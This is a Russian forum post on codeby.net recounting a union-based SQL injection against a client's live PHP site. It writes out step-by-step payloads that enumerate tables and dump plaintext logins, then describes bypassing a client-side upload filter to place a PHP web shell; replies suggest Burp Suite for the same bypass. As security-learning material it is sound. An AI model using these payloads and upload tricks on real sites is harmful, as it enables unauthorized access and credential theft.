• 15 апреля стартует «Курс «SQL-injection Master» ©» от команды The Codeby

    За 3 месяца вы пройдете путь от начальных навыков работы с SQL-запросами к базам данных до продвинутых техник. Научитесь находить уязвимости связанные с базами данных, и внедрять произвольный SQL-код в уязвимые приложения.

    На последнюю неделю приходится экзамен, где нужно будет показать свои навыки, взломав ряд уязвимых учебных сайтов, и добыть флаги. Успешно сдавшие экзамен получат сертификат.

    Запись на курс до 25 апреля. Получить промодоступ ...

Статья Как я смог взломать сайт по гайду на Codeby

Всем привет!

Эта статья посвящена форуму codeby.net, в частности статьям пользователя explorer. Напомню, периодически я зарабатываю тем, что чищу сайты после взлома.

Обратился очередной клиент. Диагноз - хроническое изменение содержимого index.php. Анализ файлов показал, что на этот раз это какая-то неизвестная самописная CMS на PHP. После непродолжительных поисков нашел страницу, где используются GET-запросы. Звезды совпали и я сразу вспомнил статьи вышеупомянутого пользователя и недавний SQL-challenge, в котором я безуспешно участвовал =)

1.png


По стандарту, пробуем кавычку и получаем следующее:

2.png


Уже интересно. Попробуем запрос без кавычки и сразу (чего мелочиться то) с попыткой определить количество столбцов:
Код:
details.php?ID=-1 order by 10 -- -
3.png


Вывело нужную ошибку и замечательно. Несколько запросов и в итоге имеем 8 столбцов. Попробуем найти название базы:
Код:
details.php?ID=-1 union select 1,2,database(),4,5,6,7,8 -- -
4.png


Не совсем то, что нужно. А если database() поставить вместо 5, а вместо 2 попробовать version() ? =)
Код:
details.php?ID=-1 union select 1,version(),3,4,database(),6,7,8 -- -
5.png


Класс. Имя и версия базы есть. Продолжаем пользоваться гайдом, увеличивая limit на 1 и узнаем имя таблиц в базе. Цель - что-то схожее с users. На 18-м шаге нашел таблицу user:

Код:
details.php?ID=-1 union select 1,table_name,3,4,database(),6,7,8 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 18,1 -- -
6.png


Смотрим название таблиц:
Код:
-1 union select 1,column_name,3,4,database(),6,7,8 from information_schema.columns where table_name='user' limit 0,1 -- -
Перебрали, у нас есть: user_id, name, user_name, password. Тащим:
Код:
details.php?ID=-1 union select 1,user_name,3,4,password,6,7,8 from user -- -
Тут скриншота не будет =) Все удалось, никаких хешей не использовалось, все в открытом виде, вдобавок логин совпадал с паролем. Замазал большую часть материалов, админка выглядит примерно так:

7.png


Далее везти не перестало. В системе управления обнаружился модуль с формами. Заглянем. Позволяет что-то загрузить на сервер. Пробуем загрузить .php и получаем ужасный alert:

8.png


Не беда. Тупо отрубаем javascript для этого сайта и… Шел на сервере…

9.png


Ну а дальше у нас практически God Mode:

10.png


На все ушло около часа, попутно я писал этот текст и делал скриншоты.

Дело sql-инъекций живет и, наверно, мне попался довольно простой пример, подтверждающий это. В инъекциях я совсем новичок, эксплуатировал данную уязвимость впервые и за это спасибо codeby.net и explorer лично!

P.S. Все события происходили на живом сервере и сайте, клиент согласие на поиск уязвимости дал, отчет о их наличии получил, претензий (вроде) не имеет, как будет закрывать дырки (или отверстия) - не знаю =)
 

explorer

Platinum
05.08.2018
1 081
2 474
BIT
14
Прекрасно, что мой труд пошёл в нужное русло, и нашёл реальное применение. Вижу здесь пример того, что человек вникал в статьи, а не просто пролистал. Дальнейших успехов!
 

lomini

Green Team
10.12.2019
50
5
BIT
13
Тоже не понимаю , зачем делать руками , если есть автоматизация скульмапера , который все делает в разы быстрее и на автомате =)
 

domebr

Green Team
07.06.2020
40
5
BIT
2
Тоже не понимаю , зачем делать руками , если есть автоматизация скульмапера , который все делает в разы быстрее и на автомате =)
А помойму так куда интересней, я вот например умею пользоваться sqlmap'ом но при этом кроме кавычки вообще не шарю за sql-инъекции)
 

pp11

Green Team
16.09.2018
201
82
BIT
0
Не беда. Тупо отрубаем javascript для этого сайта и… Шел на сервере…
Так конечно тоже можно было, но есть прекрасный инструмент - burpsuite.
Ставите прокси, льёте шелл с разрешенным расширением, он проходит валидацию JS скриптом, а потом в запросе меняете расширение на .php.
Вообще бурп очень полезен в web тестировании, советую вам как-нибудь посмотреть в его сторону.
ТС молодец, что смог применить знания.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!